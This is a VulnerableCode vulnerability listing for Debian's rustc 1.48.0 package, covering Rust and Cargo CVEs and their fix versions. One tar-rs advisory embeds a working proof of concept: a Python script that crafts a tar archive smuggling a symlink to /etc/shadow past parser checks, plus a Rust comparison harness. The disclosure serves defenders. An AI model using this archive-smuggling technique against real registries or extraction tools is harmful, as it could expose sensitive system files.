VulnerableCode Package Details - pkg:deb/debian/rustc@1.48.0%2Bdfsg1-2

Vulnerabilities affecting this package (16)

Vulnerability	Summary	Fixed by
VCID-6g9h-a8ff-e3gn Aliases: CVE-2026-5223	Cargo incorrectly handled symlinks inside of crate tarballs downloaded from third-party registries, allowing a malicious crate to override the source code of another crate from the same registry. The severity of the vulnerability is medium for users of third-party registries. Users of crates.io are not affected, as crates.io forbids uploading crates containing any symlink.	1.70.0+dfsg1-9 Affected by 0 other vulnerabilities. 1.86.0+dfsg1-1~bpo13+2 Affected by 0 other vulnerabilities. 1.95.0+dfsg1-1 Affected by 0 other vulnerabilities.
VCID-7292-fnrq-kbes Aliases: CVE-2021-42574	environment: Unicode's bidirectional (BiDi) override characters can cause trojan source attacks	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-7te5-hvz8-tub4 Aliases: CVE-2026-33056 GHSA-j4xf-2g29-59ph	tar-rs: tar-rs: Arbitrary directory permission modification via crafted tar archive	1.70.0+dfsg1-9 Affected by 0 other vulnerabilities. 1.86.0+dfsg1-1~bpo13+2 Affected by 0 other vulnerabilities.
VCID-84g5-ws9p-e7fx Aliases: CVE-2026-5222	Cargo between 1.68 and 1.96 incorrectly normalized the URLs of third-party registries using the sparse index protocol. If a hosting provider allowed multiple registries to be hosted with arbitrary names within the same domain, an attacker able to publish crates in a registry could obtain the credentials of others users of the same registry. The severity of the vulnerability is low, due to the extremely niche requirements needed to achieve the attack.	1.70.0+dfsg1-9 Affected by 0 other vulnerabilities. 1.86.0+dfsg1-1~bpo13+2 Affected by 0 other vulnerabilities. 1.95.0+dfsg1-1 Affected by 0 other vulnerabilities.
VCID-8eqn-6897-r3gb Aliases: CVE-2021-28875	rust: heap-based buffer overflow in read_to_end() because it does not validate the return value from Read in an unsafe context	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-cxm9-qcae-sufe Aliases: CVE-2021-28878	rust: memory safety violation in Zip implementation when next_back() and next() are used together	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-ebt2-c364-5uhv Aliases: CVE-2021-28876	rust: panic safety issue in Zip implementation	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-en7a-2hsk-yugp Aliases: CVE-2020-36318	rust: use-after-free or double free in VecDeque::make_contiguous	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-fssy-nmh1-3yd1 Aliases: CVE-2020-36317	rust: memory safety violation in String::retain()	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-gryy-8yet-hubj Aliases: CVE-2021-31162	rust: double free in Vec::from_iter function if freeing the element panics	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-kuf3-jp3n-pyas Aliases: CVE-2021-28879	rust: integer overflow in the Zip implementation can lead to a buffer overflow	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-m9he-ba5m-efar Aliases: CVE-2020-36323	rust: optimization for joining strings can cause uninitialized bytes to be exposed	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-mfhc-fm1h-eqat Aliases: CVE-2021-28877	rust: memory safety violation in Zip implementation for nested iter::Zips	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-t75a-7gam-nbfy Aliases: CVE-2026-33055 GHSA-gchp-q4r4-x4ff	tar-rs incorrectly ignores PAX size headers if header size is nonzero ### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(\|l\| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(\|l\| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.	1.70.0+dfsg1-9 Affected by 0 other vulnerabilities. 1.86.0+dfsg1-1~bpo13+2 Affected by 0 other vulnerabilities.
VCID-vrub-x8g8-mbgk Aliases: CVE-2021-29922	rust: incorrect parsing of extraneous zero characters at the beginning of an IP address string	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}
VCID-zukp-fkqp-nfag Aliases: CVE-2022-21658	rust: Race condition in remove_dir_all leading to removal of files outside of the directory being removed	1.63.0+dfsg1-2 Affected by 4 other vulnerabilities. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }} {{ fixed_by_vuln.vulnerability_id }}

Next non-vulnerable version	1.70.0+dfsg1-9
Latest non-vulnerable version	1.95.0+dfsg1-1
Risk

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-05-30T01:24:56.820521+00:00	Debian Importer	Affected by	VCID-vrub-x8g8-mbgk	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T01:21:29.772635+00:00	Debian Importer	Affected by	VCID-ebt2-c364-5uhv	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T01:12:06.237566+00:00	Debian Importer	Affected by	VCID-7292-fnrq-kbes	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:52:54.279595+00:00	Debian Importer	Affected by	VCID-m9he-ba5m-efar	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:51:26.922984+00:00	Debian Importer	Affected by	VCID-kuf3-jp3n-pyas	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:46:38.885448+00:00	Debian Importer	Affected by	VCID-en7a-2hsk-yugp	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:46:22.259594+00:00	Debian Importer	Affected by	VCID-zukp-fkqp-nfag	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:29:11.410907+00:00	Debian Importer	Affected by	VCID-t75a-7gam-nbfy	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:27:40.289136+00:00	Debian Importer	Affected by	VCID-7te5-hvz8-tub4	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:21:40.799737+00:00	Debian Importer	Affected by	VCID-mfhc-fm1h-eqat	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-30T00:06:53.452414+00:00	Debian Importer	Affected by	VCID-8eqn-6897-r3gb	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-29T23:17:33.492557+00:00	Debian Importer	Affected by	VCID-gryy-8yet-hubj	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-29T23:16:59.059852+00:00	Debian Importer	Affected by	VCID-fssy-nmh1-3yd1	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-29T23:11:39.285636+00:00	Debian Importer	Affected by	VCID-cxm9-qcae-sufe	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-29T23:09:48.459595+00:00	Debian Importer	Affected by	VCID-84g5-ws9p-e7fx	https://security-tracker.debian.org/tracker/data/json	38.6.0
2026-05-29T22:51:37.969960+00:00	Debian Importer	Affected by	VCID-6g9h-a8ff-e3gn	https://security-tracker.debian.org/tracker/data/json	38.6.0